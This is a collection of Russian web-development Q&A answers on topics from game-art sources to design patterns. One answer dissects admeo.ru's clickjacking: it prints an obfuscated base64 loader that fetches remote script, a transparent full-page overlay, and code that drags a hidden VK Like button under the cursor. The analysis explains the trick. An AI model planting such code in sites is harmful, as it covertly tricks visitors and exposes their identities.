• Как организовать авторизацию в REST API?

    hell0w0rd
    @hell0w0rd
    Просто разработчик
    Ответ написан
    Комментировать
  • Какие ресурсы помогут в изучении английского языка для веб-разработки?

    Я раньше таким был и всегда затылкался в английском на непрограммерских терминах, потом просто перешёл к обучению английского вообще, а технический слова потом просто из такого словарика подтягиваются и всё lico.ru/o_kompanii/stati/prochee/tolkovye_slovari_... или sd-company.su/article/computers/glossary_computer_...
    Для общего развития посмотрите этот канал на ютубе https://www.youtube.com/channel/UC_J8gecUO4gsesLXb...
    Ответ написан
    Комментировать
  • Где найти бесплатные текстуры и т.д для создания простенькой игры?

    JohnZoidberg
    @JohnZoidberg
    1. Kenney.nl

    Этот находящийся в Нидерландах сайт предлагает разработчикам замечательную графику. Присутствуют материалы, признанные Общественным достоянием. А это значит, что вы можете использовать их где угодно, не беспокоясь об авторских правах. Так же есть поиск графики по категориям, что значительно ускоряет процесс.
    Кроме того, на сайте представлены подборки бесплатной музыки.

    2. OpenGameArt.org

    Наверное, один из лучших сайтов в своём классе. OpenGameArt.org огромный сайт, предлагающий все виды графики, необходимые для разработки игр. Так же на сайте имеется бесплатная музыка (звуки). Основными плюсами данного ресурса являются наличие оживленного и весьма полезного форума, а так же постоянное обновление материалов за счет пополнения самими пользователями и рейтинговой системы оценивания. Так что вы всегда сможете быстро выбрать самое лучше и свежее.

    3. Untamed.wild-refuge.net

    Отличный ресурс для тех, кто задумывает или уже создает свою RPG.
    При переходе по ссылке справа вы увидите колонку ресурсов. Персонажи, предметы, локации и тому подобное, при нажатии на которых все-все объекты появятся на одной странице, что упрощает и ускоряет выбор. При клике на понравившегося персонажа, открывается ссылка на .png файл, со всеми 3d-проекциями и движениями, что идеально подходит для создания собственных спрайтов.

    4. Crateboy.itch.io

    Отличительная особенность данной коллекции - 8-битная графика городов. Вся библиотека совершенно бесплатна, и всё, о чём просит автор - упомянуть о нём в своей игре (credits).
    Цветовая гамма данной библиотеки является её отличительной особенностью, и при использовании в исходном виде вполне может определить дизайн всего проекта.

    5. Bagfullofwrong.co.uk

    Коллекция материалов, созданных и использованных в различных проектах дизайнером Робом Фероном для Вашего личного пользования.

    6. Gameart2d.com

    Вебсайт, запущенный индонезийским разработчиком игр, с отличным вкусом в области дизайна игр. Хотя большая часть материалов сайта является платной, так же присутствует и бесплатная, в которой Вы можете найти симпатичные изображения. Помимо спрайтов на сайте представлены наборы для создания уровней, GUI и прочее.

    7. Wigdetworx.com

    Пусть это и не самая большая коллекция спрайтов из длиннопоста, но определенно каждый найдет себе здесь что-нибудь по душе. Для того чтобы скачать себе множество ландшафтов и персонажей достаточно лишь одного клика.

    8. Glitchthegame.com

    Создатели проекта Glitch, закрытого в 2012 году решили сделать всю её графическую часть Достоянием общественности (никакие авторские права для использование не требуются). К Вашим услугам более 10,000 изображений восхитительного качества собранные воедино и доступные по одному нажатию.

    9. Dumbanex.com

    Идеально для сайдскроллеров и платформеров
    Множество графики от дизайнера-фрилансера Брента Андерсона. Всё бесплатно при условии упоминания в приложении (Credits).

    10. Reinerstilesets.de

    Бесплатная графика от разработчика игр разработчикам игр. Помимо библиотек на сайте есть неплохие туториалы.

    11. Sharecg.com

    Данный сайт в основном предназначен для художников для загрузки своих работ. Так что при желании Вы можете подыскать там подходящего дизайнера для своего проекта. Все работы выставляются под различными лицензиями, что обязательно проверять перед скачиванием, чтобы потом не попасть на деньги.

    12. Roenica.com

    Отличный сайт с графикой для инди проектов и казуалок.
    Всё разбито на категории по типу игры и упаковано в ZIP архивы. Есть и 2D и 3D графика, но так же как и в предыдущем случае стоит внимательно смотреть на лицензию, под которой распространяется контент.

    13. Blogoscoped.com

    Сам сайт - форум про Гугл и всё, что с ним связанно, но в 2006 году его участник Philip Lenssen выложил на нем около 700 спрайтов, которые теперь распространяются под Creative Commons License

    14. Lostgarden.com

    Сайт немного отличается от рассмотренных выше. Это блог игрового дизайнера, в котором время от времени появляется бесплатная графика для разработчиков игр. Так же интерес представляет и сам блог, в котором дизайнеру можно найти уйму важной и интересной информации.

    15. Subtlepatterns.com

    Безумное количество фонов и текстур для Ваших игр и приложений. Всё как и прежде бесплатно - только не забудьте поблагодарить автора.

    16. Openclipart.org

    Обширное сообщество с огромными объемами графики. Всё, что сможете найти на этом сайте, совершенно бесплатно. Правда вот поискать придется как следует.
    Ответ написан
    12 комментариев
  • Какие существуют правила хорошего дизайна?

    @xlusv
    Я бы рекомендовал попробовать сверстать собственный макет самостоятельно, к примеру, на том же bootstrap. На своем опыте оцените, есть ли недостатки.

    Из правил:
    1. Дизайн не должен мешать пользователю. Чем меньше шума, тем лучше. В идеале - ничего лишнего на экране. И как можно меньше анимации.
    2. Функциональность превыше эффектов - сначала содержимое, только потом украшения
    3. Мыслить от абстрактного к конкретному, мыслить модульно - чистый холст делим на части (в пропорциях), потом добавляем компоненты в виде сплошных фигур, потом детализируем компоненты. Так мыслит и верстальщик, и программист. Хранить компоненты в отдельных файлах.
    4. Красивый дизайн - логичный дизайн. Все должно быть упорядоченно, иметь обоснованные размеры, отступы, цвета и эффекты
    5. Постоянство - одна цветовая схема, пропорции, типографика, элементы
    6. Стандарты и традиции. Поведение предсказуемо. Стрелка вниз на панели означает, что панель развернется вниз, а не вверх. Красный - опасное действие, зеленый - безопасное. Используйте стандартные иконки, вместо никому не знакомых.
    7. Смотрите на дизайн чужими глазами - наложите черно-белый фильтр или размытие и убедитесь, что содержимое не растворилось, акценты на месте. Продумайте, что случится с колонкой или меню, если текста будет слишком много или мало.
    8. Растровая графика для фотографий и многоцветных изображений. Все что может быть описано в векторе - делается в векторе.
    9. На каждое правило бывают исключения


    Книги и материлаы
    1. Design for Hackers: Reverse Engineering Beauty - технический взгляд на элементы дизайна
    2. Прочие книги по UX и web-design в списках бестселлеров amazon / ozon
    3. behance и dribbble - для анализа лучших практик
    4. Руководства по стилям: Google Material Design, Modern UI, Apple Human Interface Guidelines, ibm design. Тоже для анализа практик и правил для конкретной платформы.
    Ответ написан
    6 комментариев
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Как менять класс по клику вне блока?

    @westdp
    pashabomber вот первая ссылка в гугле тыц или вот так:
    $(document).mouseup(function (e){ // событие клика по веб-документу
    		var div = $(".dollar");
    		if (!div.is(e.target) // если клик был не по нашему блоку
    		    && div.has(e.target).length === 0) { // и не по его дочерним элементам
    			$('.dollar').removeClass('dollar-opened'); 
                            $('.sub-course').removeClass('show');
    		}
    	});
    Ответ написан
    1 комментарий
  • Какой есть хороший инструмент для прототипирования сайтов?

    vbiralo
    @vbiralo
    WEB-Разработчик
    1) Wireframe.cc: пожалуй, самый простой сервис, находка для быстрых набросков
    https://wireframe.cc/

    2) Balsamiq: простой и интуитивно понятный ресурс
    balsamiq.com

    3) Axure: идеальный ресурс для проектировщиков и менеджеров
    www.axure.com

    4) Invision: мощный онлайн-сервис, с огромным набором дополнительных функций
    www.invisionapp.com

    5) POP: приложение, бумага и карандаш - это все, что вам требуется для создания интерактивного прототипа
    https://popapp.in/

    6) Moqups: Помимо прототипов можно создавать карты сайта, диаграммы и многое другое
    https://moqups.com/

    7) Mockflow: удобный инструмент, с неперегруженным функционалом
    www.mockflow.com

    8) Proto.io: незаменим для проектирования интерактивных прототипов приложений
    https://proto.io/

    9) UXPin: полезный и интересный сервис для профессионалов
    www.uxpin.com

    10) Omni Graffle: излюбленный сервис для приверженцев iOS
    www.omnigroup.com/omniGraffle
    Ответ написан
    3 комментария
  • Как нужно делать рассылку со своего сайта (сервера)?

    @xtreme
    Снимаю порчу по SSH :)
    1. Изучить рекомендации по рассылкам у крупных почтовых сервисов (Google, Yandex, Mail.ru). При подготовке писем для рассылки строго следовать их рекомендациям.
    2. Зарегистрироваться в postmaster.yandex.ru, postmaster.mail.ru, чтобы следить за ходом рассылки писем.
    3. Отлавливать недоставленные письма, убирать их из листов рассылки, дабы не мусорить.
    4. Сделать механизм отписки от рассылки (это один из критериев пункта 1), причем 100% работающий в один клик.
    5. Мониторить нажатие кнопки "Спам" в вышеуказанных почтовых сервисах, также сразу исключать их из будущих рассылок.

    1к подписчиков - это мелочь. Можешь пробовать отсылать сразу все письма на свой почтовый релей (для 1к хватит и одного релея), даже почти дефолтно настроенный MTA будет рассылать с нужными интервалами.

    Обязательное условие - соблюдать все почтовые правила и не пренебрегать цифровыми подписями - SPF, DKIM, DMARC, правильные записи в DNS (A, MX, PTR).
    Ответ написан
    10 комментариев
  • Какие бывают сервисы to-do листов?

    Самый простой и ИМХО лучший any.do
    Ответ написан
    Комментировать
  • Как вы освоили шаблоны проектирования?

    dmitry_pavlov
    @dmitry_pavlov
    World-class .NET freelance contractor (remotely)
    Когда начался бум и восторг вокруг концепции паттернов проектирования, выкрики "GoF рулит!" и так далее, я озадачился тем, чтобы понять, что за шум?

    По своей сути - паттерны - это обычные шаблоны проектирования. Заимствовано у обычных архитекторов (те, которые зданиями занимаются). Суть проста. В работе архитектора есть задачи, которые удобно решать одним или несколькими проверенными способами.

    По аналогии в проектировании софта имееются свои архитектурные вопросы вроде разбиения приложения на компоненты/модули, организации зависимостей между ними, распределение функциональных обязанностей и т.п. Как ловко подметили авторы книжки из этой банды четырех (The "Gang of Four") в нашей индустрии можно также выделить некоторе количество типовых шаблонов, проверенных на практике, чтобы тем самым не наступать на уже обойденные другими грабли.

    Суть постижения паттернов заключается в том, чтобы осознать в каких ситуациях правильно использовать тот или иной шаблон проектирования и правильно его применить. Важно понимать при этом, что формула "чем больше паттернов я придумал засунуть с свое приложение - тем лучше" - неверная. Использовать их следует с умом и только там, где они действительно нужны. Кроме того, патерны устаревают, превращаются в анти-паттерны по мере развития технологий (которые в нашей области делают это более чем стремительно). Ну и, конечно, есть шаблоны общепринятые и есть те, которые успешно используются в узких кругах.
    Тут тоже надо понимать, что это не догма какая-то - типа 10 священных паттернов проектирования :)

    Чтобы понять, где они нужны - нужен опыт. То есть (я лично убежден), что учиться на ошибках других может только крайне ограниченное число людей. Все остальные обязаны набить шишки самостоятельно :)

    К изучению паттернов я дам такие советы:

    1) Прочтите пару книжек, чтобы понять, что это за зверь и с чем его едят. Можно взять одну из вариаций книжки GoF или какие-то производные для вашего стека разработки - познакомиться с основными популярными шаблонами. Сразу после этого я посоветовал бы прочесть книжку "Горький вкус Java" (Брюс Тейт) - она про анти-паттерны. Это чтобы понять обратную сторону их использования. Мне понравилась и уберегла думаю от многих проблем. То что на примере Java - неважно. Речь идет о шаблонах, так что представителям других стеков (к которым отношусь и я) будет просто понять все равно.

    2) Постарайтесь осознать, доводилось ли вам сталкиваться в работе раньше с чем-то, что является или могло бы легко стать одним из шаблонов. Где получалось применить концепт верно, а где из-за этого только проблемы были.

    3) В новых проектах, держите в голове полученные по шаблонам знания - вдруг пригодятся.

    В конечном итоге, знаете ли вы паттерны, или нет - с опытом приходит понимание того, какая архитектура будет правильная, а какая - нет. Как сделать удобно, а как нет. И неважно, какими паттернами это обозвать.

    Я даже пожалуй посоветовал бы подойти к освоению айтишной архитектурной мудрости с другой стороны - со стороны нефункциональных требований или так называемых "-ilities" - их много. Тут вот описаны 7 штук. А вообще их десятки.

    Среди прочих - такие как maintainability (простая поддержка кода), scalability (масштабируемость), extensibility (расширяемость), availability (устойчивость ) и тп. Если, проектируя свое приложение, вы задумываетесь об этих "илитях" и стараетесь их обеспечить в необходимом проекту объеме, то, как правило, ваше приложение будет иметь отличную архитектуру. При этом шаблоны проектирования в ней появятся лаконично сами собой.

    Поскольку идея использовать шаблоны - это попытка опытных программных инженеров дать десяток готовых рецептов менее опытным, чтобы пока они не научились варить "вкусную кашу", они не варили уж что-то совсем несъедобное. :) Учитесь "готовить", разбирайтесь в -ilites :) и все будет хорошо
    Ответ написан
    6 комментариев
  • Как вы освоили шаблоны проектирования?

    27cm
    @27cm
    TODO: Написать статус
    Вот вам 12 маленьких задач на 12 паттернов:
    github.com/zfcampus/zendcon-design-patterns

    1. Открываете папку с паттерном.
    2. Читаете README.md с описание задачи.
    3. Открываете exercise.php и пытаетесь решить задачу, применив соответствующий паттерн.
    4. При необходимости вспоминаете теорию: github.com/domnikl/DesignPatternsPHP
    5. Сверяетесь с решением в solution.php.
    Ответ написан
    7 комментариев
  • Какой php фреймворк наиболее прост в освоении?

    index0h
    @index0h
    PHP, Golang. https://github.com/index0h
    Silex, но лучше Symfony

    Тут советовали еще codeigniter, вот его не стоит смотреть, это труп.
    Ответ написан
    2 комментария
  • Какие шрифты чаще всего используете в дизайне сайта?

    Tash1moto
    @Tash1moto
    Open Sans, Roboto, PT Sans, Droid Sans, Noto Sans, Fira Sans.
    Ну и конечно же Lobster=)
    Ответ написан
    5 комментариев
  • Паттерн Singleton в чём разница?

    edli007
    @edli007
    full stack, team lead
    а вот mysqli_connect это переходная функция, созданная для говнокодеров, все еще не переведших свой сайт на PDO или для людей которые не могут это сделать по вине заказчика.

    $db в данном случае не синглетон, так как синглетон должен обеспечить одну точку входа и один объект, а у вас
    1. Вообще не объект и даже не ооп, из этого выплывает
    1.1. Точка входа как таковая отсутствует, вы сначала создаете переменную и и дальше используете ее... как переменную.
    1.2. Ваша переменная не защищена от изменений и может быть перезаписана в любой момент времени
    1.3. Для доступа к переменной из любой точки кода, ее приодеться вывести в глобальную область видимости, в синглетоне это решается на уровне видимости классов

    Будь это синглетон, внутри вашей переменной была бы зашита хитрая функция, создающая коннект при первом обращении к ней, а в последствии возвращающего егоже, также там можно было следить переключения на резервные бд и много чего еще. У вас коннект создается всегда, в фиксированном месте и даже если он ненужен - все равно создается.

    И все это внутри самой переменной, что ведет нас к тому, что это должно быть сделано на ооп, так как такого функционала, для отслеживания первого обращения к переменной, в пхп просто нет.
    Ответ написан
  • Как вернуть мотивацию к обучению?

    При повторной потере мотивации алгоритм следующий:
    1) Идем высыпаемся. По-нормальному так, без будильников. Чтоб глаза вообще больше не закрывались.
    2) Если мотивация не вернулась (возвращается в 70% случаев) - берем велик (хотя можно и пешком) - и на улицу. Если есть приличный парк в городе - находим пару нестандартных физ. упражнений (можно боевых), пытаемся выполнить. Работа с телом и физические нагрузки - это совершенно другая часть вашего сознания, про нее нужно не забывать.
    3) Если мотивация не вернулась (уже где-то 85% случаев) - берем случайную книгу (не техническую), в идеале - из жанра который вам нравится. Читаем. Спокойно, страницы не считаем.
    4) Если не вернулась, повторить с п. 1 до пяти раз, не думая о времени и выполняя только самые важные дела (срочные задачи по учебе, работа, если есть), можно даже попросить родных/знакомых помочь по дому и бытовым делам, чтобы себя разгрузить.
    5) Если не помогло после 5 раз, задаем новый вопрос на тостере, подробно описываем что делали).

    Хотя бы один из п. 1-3 выполняем для профилактики каждый выходной.
    P.S. в принципе плохо сравнивать себя с кем-то - для "сравнения" на свете есть всякие соревнования и состязания, где есть правила и контекст. В жизни правил нет, один учится в MIT, другой учится в колледже в России - какие могут быть сравнения? Вы думаете тут большинство людей за один год все узнало и всего добилось? Вы глубоко заблуждаетесь) PHP-шники-выскочки не в счет, у них искаженное представление о реальности.
    Ответ написан
    11 комментариев
  • Материалы по паттернам ООП с наклоном в веб-проектирование?

    @aquare11e
    Есть еще такая: www.ozon.ru/context/detail/id/1616782 . Там про архитектуру приложений; в том числе и для веб.
    Ответ написан
    2 комментария